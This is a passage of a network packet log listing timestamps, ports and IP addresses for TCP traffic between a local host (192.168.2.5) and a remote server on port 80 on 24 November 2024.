Nov 24, 2024 12:05:09.460253000 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.460443020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.460494995 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.461599112 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.461719036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.461771011 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.462738991 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.462827921 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.462883949 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.463522911 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.463608027 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.463653088 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.464303970 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.464376926 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.464426994 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.465344906 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.513751984 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.604005098 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.604065895 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.604116917 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.604218006 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.604254961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.604296923 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.605190039 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.605272055 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.605319023 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.606231928 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.606383085 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.606429100 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.607230902 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.607367992 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.607413054 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.608306885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.608402967 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.608448982 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.609270096 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.609469891 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.609519005 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.610325098 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.610450029 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.610495090 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.611346960 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.611462116 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.611506939 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.612390995 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.612523079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.612577915 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.613398075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.613493919 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.613542080 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.614432096 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.614485979 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.614533901 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.615456104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.615581036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.615648031 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.616460085 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.616583109 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.616636038 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.617501020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.617611885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.617666006 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.618527889 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.618700027 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.618753910 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.619563103 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.619682074 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.619729996 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.620568037 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.620722055 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.620775938 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.621612072 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.621856928 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.621906042 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.622646093 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.622771025 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.622822046 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.623672962 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.623781919 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.623840094 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.624679089 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.624802113 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.624855042 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.625720978 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.625821114 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.625870943 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.626759052 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.626863956 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.626919985 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.627759933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.627840996 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.627892017 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.628815889 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.628920078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.628971100 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.629836082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.629957914 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.630012989 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.630884886 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.630935907 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.630985975 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.631881952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.632097960 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.632148981 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.632909060 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.633025885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.633078098 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.633928061 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.633981943 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.634031057 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.635030985 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.635169983 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.635222912 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.635997057 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.636050940 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.636116028 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.636985064 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.637111902 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.637165070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.638057947 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.638112068 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.638164997 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.639051914 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.639154911 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.639209986 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.640100002 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.640235901 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.640290022 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.641174078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.641207933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.641252995 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.642210007 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.642426014 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.642474890 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.643188000 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.643347979 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.643393993 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.644186020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.644334078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.644386053 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.645212889 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.645379066 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.645431995 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.646323919 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.646418095 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.646469116 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.647356033 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.647408962 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.647456884 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.648297071 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.648401022 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.648454905 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.649307013 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.649451971 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.649502993 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.650336027 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.650557995 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.650607109 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.651408911 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.651462078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.651524067 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.652398109 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.652546883 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.652592897 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.653436899 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.653532982 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.653583050 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.654474974 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.654656887 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.654712915 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.655518055 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.655642986 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.655694962 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.656505108 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.656625032 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.656691074 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.657550097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.701176882 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.796360016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.796417952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.796477079 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.796827078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.796994925 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.797044992 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.797873020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.798034906 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.798131943 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.798959970 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.799089909 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.799150944 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.799840927 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.799987078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.800045967 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.801018000 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.801189899 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.801245928 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.801943064 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.802098036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.802154064 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.802932978 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.803057909 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.803106070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.804013014 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.804248095 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.804303885 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.804984093 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.805109024 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.805159092 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.806032896 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.806116104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.806171894 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.807126045 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.807287931 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.807351112 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.808104038 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.808275938 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.808330059 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.809216022 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.809269905 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.809314013 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.810184002 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.810307980 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.810354948 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.811296940 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.811500072 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.811547995 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.812334061 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.812530041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.812588930 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.813314915 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.813438892 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.813489914 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.814349890 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.814404011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.814451933 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.815356970 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.815448046 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.815498114 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.816637039 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.816670895 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.816724062 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.817322016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.817450047 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.817502022 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.818351030 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.818445921 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.818538904 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.819483042 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.819534063 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.819582939 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.820404053 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.820547104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.820596933 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.821413994 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.821562052 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.821614027 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.822491884 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.822693110 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.822742939 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.823472977 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.823620081 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.823668003 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.824561119 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.824673891 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.824728012 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.825534105 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.825695992 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.825747013 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.826941967 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.826977968 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.827028990 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.827606916 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.827811956 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.827857971 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.828608990 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.828885078 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.828979015 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.829684973 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.829843044 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.829891920 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.830734968 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.831145048 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.831196070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.832043886 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.832143068 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.832192898 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.832847118 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.833031893 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.833081961 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.833851099 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.833931923 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.833981037 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.834790945 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.834913969 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.834963083 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.836112022 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.836298943 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.836347103 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.837286949 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.837394953 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.837445021 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.838346004 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.838562012 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.838608027 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.839382887 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.839503050 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.839593887 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.840543985 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.840639114 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.840691090 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.841645956 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.841748953 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.841797113 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.842663050 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.842755079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.842808962 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.843611956 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.843745947 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.843796015 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.844405890 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.844542980 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.844593048 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.845372915 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.845498085 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.845566988 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.846204042 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.846347094 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.846395969 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.847421885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.847568035 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.847616911 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.848149061 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.848356009 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.848401070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.849126101 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.849229097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.849276066 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.850131035 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.904215097 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.988544941 CET	80	49829	178.215.224.74	192.168.2.5
